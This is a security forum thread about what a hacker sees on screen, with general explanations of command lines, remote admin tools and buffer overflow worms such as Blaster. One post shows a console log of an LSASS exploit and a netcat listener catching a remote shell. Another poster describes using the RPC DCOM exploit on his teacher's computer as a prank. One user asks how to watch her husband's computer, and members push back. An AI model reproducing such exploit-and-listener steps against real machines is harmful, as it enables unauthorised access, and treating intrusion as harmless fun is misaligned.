Printable View
Hello All,
What does a hacker see onscreen when he is hacking your computer? What would a screenshot of his screen look like?
How does a hacker acquire your computer, assuming you have broadband? Does the hacker fire viruses at you like bullets in real time? Can you avoid attacks from a certain individual by not being online at the same time the hacker is?
Thanks for your input.
Depending on what the hacker is using to gain access is waht he sees, most of the time it is a simple command line, noen of these flashy graphics you often see in the movies.
There are MANY ways that a hacker can gain access to your computer, the things you need to worry about is having an up to date virus scanner, and probably a decent firewall will help out too. Try to keep your operating system as up to date as possible w. system updates, and read up on newsletters such as the ones on security focus about new threats.
good luck.
the screenshot all crackers would like to see is:
root@yourcomputer you #
....... background and text colour optional !!
But seriously, as stated, most I would imagine would use a text based console, although it would be conceivable that with a X Session hack, the screenshot would be exactly what you would normally be looking at.
Interesting question...
I have found during various demonstrations and explainations of what a hacker/cracker is or does, most people are bored. Media and pop culture are very powerful in their ability to project images. A few minutes reading "smashing the stack" and you have to wake people up.....:)
Yeah, like Dome said it's usually a simple command line. It all is dependant on how they gained entry. If they used netBIOS to access their file's, it would look pretty simplistic with just a MS-DOS prompt. It's all on what exploit they used.
well port scanners, vuln scanners, Trojan Clients...are also a few things a hacker can have open while attacking someone.
I think the man said 'Hacking' :D. But that's true too, a hacker could have various tool's and whatnot in the process of a hack. I agree though mostly with Dome that it's usually some form of a command line.Quote:
Trojan Clients
They can obtain a screenshot if thats what your asking. Ummmm..... if they feel like messing around with the http://www.olivegarden.com/ I'm sure they can obtain a remote screen of the http://www.squirrelsystems.com/press/pr/May1703.html software :). Basically they are limited to the actuall system, programming skills and needs. I guess it just saves resources on both sides to obtain everything through text. Quicker? Your guess is as good as mine. I guess it all boils down to the need of the situation.
Bah...
Most buffer overflow exploits you just enter (ip) + (port) under command promt then deppending on some rare occasions... lets say if its a program that can be exploited but (same vulnerabilities different OS/versions?) then in most cases like that you'll need to enter other things or take like 2 versions of the same buffer overflow. After some part of memory is corrupted or what ever you should be greeted with something like a remote shell. Just think of something like... telnet://hackerslab.org only without a username and password needed.
After you do that you'll want to check your privilages to that PC. If its not in full you'll want to install local exploits to boost privilages. After that you can pretty much install whatever trojan you want for access later. I beleave what you are looking for is something like full mouse control along with (screen dumps) which is every few seconds it makes a image appear on the client... where as screen shots are just that. It just makes a little bmp of what's happening.
Yes you can avoid alot by getting yourself a pet rock and never touch another computer agian. As for "not being online at the same time" ummm... ever heard of automated attacks, social engineering, takeing advantage locally, & (ect)?Quote:
Can you avoid attacks from a certain individual by not being online at the same time the hacker is?
The screen can been seen using RAT (remote admin tools) one example of this although i dont think its classed as a RAT is windows remote desktop, have a play with it...Im not sure whether there were any exploits with it but if its enaled on the host you can log in and see there desktop.
i2c
You guys are all wrong.
When I uber l33t haxor a computer it shows me nice 3 dimensional rectangles representing the file system (See Hackers)
Virii are cross platform and cross language. Why once I flew up to a big space ship where I used a floppy disk to infect an alien species computer system and stop them taking over the earth. The virus resulted in a nice 3d spinning skull effect on the aliens screens.
It also infected all the neighbouring space craft. (I think they were using wi-fi or bluetooth)
Watch the movie "hackers". Its SO just like that... *grin* lol :)
that movie is a classic... *roll*
dammit, I see, looking above me, someone thought of it too and posted just before me ... lol
ah well, GMTA.
uhm markboyle, all alien species run Mandrake LInux, DUH! If you were wondering the code for the virus he sent was
#import os, os.path, send
print "JOO R T3H SUXXORZZZ!!!!"
print "c:\rotating skull"
os.rmtree("t3h boxxorz!!!!")
send.to.alien.ships("KABOOM WILL SMITH IS t3H HOTTNESS!!!11")
C:\>lsass 0 xx.xxx.x.xx 112 xx.xxx.xx.xx
shellcode size 316
Ret value = 1727
C:\>nc.exe -vlp 112
listening on [any] 112 ...
connect to [xx.xxx.xx.xx] from crap.fr [xx.xxx.x.xx] 1479
Microsoft Windows 2000 [Version 5.00.2195]
© Copyright 1985-1999 Microsoft Corp.
C:\WINNT\system32>
well the hacker/cracker could be using something like netbus or dameware and actually see YOUR desktop on HIS...
Texan: RDP, Terminal Services, (same thing, I know), Netmeeting, PCAnywhere, Carbon Copy..... etc. etc. etc... can do that too......
The simple answer really is that, depending upon the tool used.... as goes the 'view'. You may never see anything, (just send commands and see results - or not in some cases), all the way to seeing you work on the computer without knowing they are there.... Hell.... I do that at work..... Odd activity attracts my attention..... So I VNC into the offending machine and watch what the user is doing.... They have no clue I'm there..... BTW, it _clearly_ states in our AUP that I can do this if I want to..... but who reads those pesky AUP's..... :rolleyes:
KMAX here,
I would like to know how I can see on my computer what is on my husbands.
Is that possible?
Why must you spy on him? If you want a legitimate answer your going to have to supply good reasons.
kmax:
Asking a question in a thread then not answering it and asking a similar question in another thread isn't going to get you what you need..... Honestly.... There are people here that can help and will help..... Motive is _big_ here..... We are security oriented.... We don't tend to assist people with questionable motives..... We consider that bad.... To date all we know about the situation is that you are spying on a potentially innocent party behind his back for no apparent reason..... It's not a pleasant thing but the world and life are not always pleasant.... We understand that too....
Do yourself a favor..... Go back to your original thread and answer these questions....
1. What information, exactly, about your husband are you trying to determine.
2. Why do you feel the need to determine this information.
3. What benefit do you expect by knowing what your husband is doing.
Those are fair questions to ask. Answer them fairly and you will find the assistance you need....
Is that acceptable to you?
probably the funniest hack i have seen, i read at a forum i don't remember if it was AO or not.
This hacker had taken control of this guys webcam that he had pointed at himself. The hacker then mailed the guy some pictures. :D
Could have been a hox though but dam funny
if a hacker is hacking a website, they may not even see a command line. they may just see the website cpanel, if there is an exploit that they use, or maybe just an ftp client. you dont need a console to hack, but for hacking computers that dont have a webserver, they will probably have a console, or a window system such as windows or another gui
command line ... portscaner an as we all know ...google as helper
but you all wonder of pic ... of a hacker so here hehe something for ya
true eyes of an hacker :D
http://www.r00tz.info/Forced_Entry.jpg
before:
http://bordergatewayprotocol.net/jon...nest/dork1.jpg
after:
http://bordergatewayprotocol.net/jon...nest/dork2.jpg
since several have replied concerning the "what does a hacker see on his screen" question. I shall reply to the "virus firing" question
"Does the hacker fire viruses at you like bullets in real time? "
Not really, most virii spread through the use of one or more security exploits, most popular of which recently have been buffer overflow exploits, in which virus writers create programs that take advantages of sloppy coding practices in programs that run network services on your computer. for example, the w32blaster worm spread thru the use of the rpc dcom exploit. a coding error found in a service enabled by default on many microsoft operating systems whose original intent was to allow authorized remote access to the machine over a network, but is rarely ever used. the service is dormant unless invoked by an application that needs to remotely control a computer. the rpc dcom exploit sent a packet to the target computer, usually on the open port 135, the one assigned to the rpc (remote procedure call) service. that packet contained a variable meant for that service, which expects it to be a certain length, but the variable given is intentionally much larger. a smart programmer would have written code to truncate the variable input before processing it, but this was an oversight that was found too late. the part of the variable that fits is processed by the service, and found to be benign in nature, the rest is processed from different parts of the system memory, wherever it may end up, not as part of the service, but as system level commands. (commands the system gives itself) giving the virus carte blanche to run any command it desires. this is called a buffer overflow exploit. using this and other exploits like it, programmers write virii to spread indefinitely, once they get to a new computer, they scan all available IP addresses for other computers with open ports indicating a vulnerability they can exploit to spread to that computer. virii as a general rule are rarely written to target any single person. usually they are written to spread indefinitely. exploits, however are often used by hackers to gain access to a person's computer remotely. hackers do this usually by using the system level command they can send to that person's computer to launch a program designed to give him access to the system or merely accept a connection from the attacker's machine the system would normally deny. then the hacker uses this connection to establish control of the machine. the commands that Tedob1 posted earlier were an exemplary execution of an lsass vulnerability, a buffer overun vulnerability that exists in the lsass (Local Security Authority Subsystem Service ), which ironically was originally intended for local security, but ended up being a nightmare for remote security. lsass also handles client/server authentication and active directory services. he isn't using the program itself, but a program of the same name written to exploit it, downloading that program and running it as Tedob did would give you remote command line access to the target system. to give you an idea of how fun this is, were he to then type: iexplore.exe www.iluvgaysex.com would launch the mentioned url in internet explorer, I did a similar thing to my network security teacher this past year using the rpcdcom exploit, I launched a flash page on his computer that announced "anal sex dot com!!" complete with bright flashing letters, while he was projecting his display on the overhead to the entire class, he was a cool guy and he thought it was funny, but he got me back by sending an email in my name to the entire class pronouncing my undying love for justin timberlake. I decided then to keep the high tech pranks to a minimum. the difference between a hack and a virus attack is this, I walk into a room, I see you, someone I intend to attack, I shoot you in the face, game over. this is a one on one attack, always done by the attacker personally. a virus attack would be more like me walking into a room, seeing you, the person I intend to attack, and spraying the room with an uzi. will I kill you? likely, but I'll also take down a half dozen people with you. who will be safe? noone, but if you're wearing a vest, you stand a chance.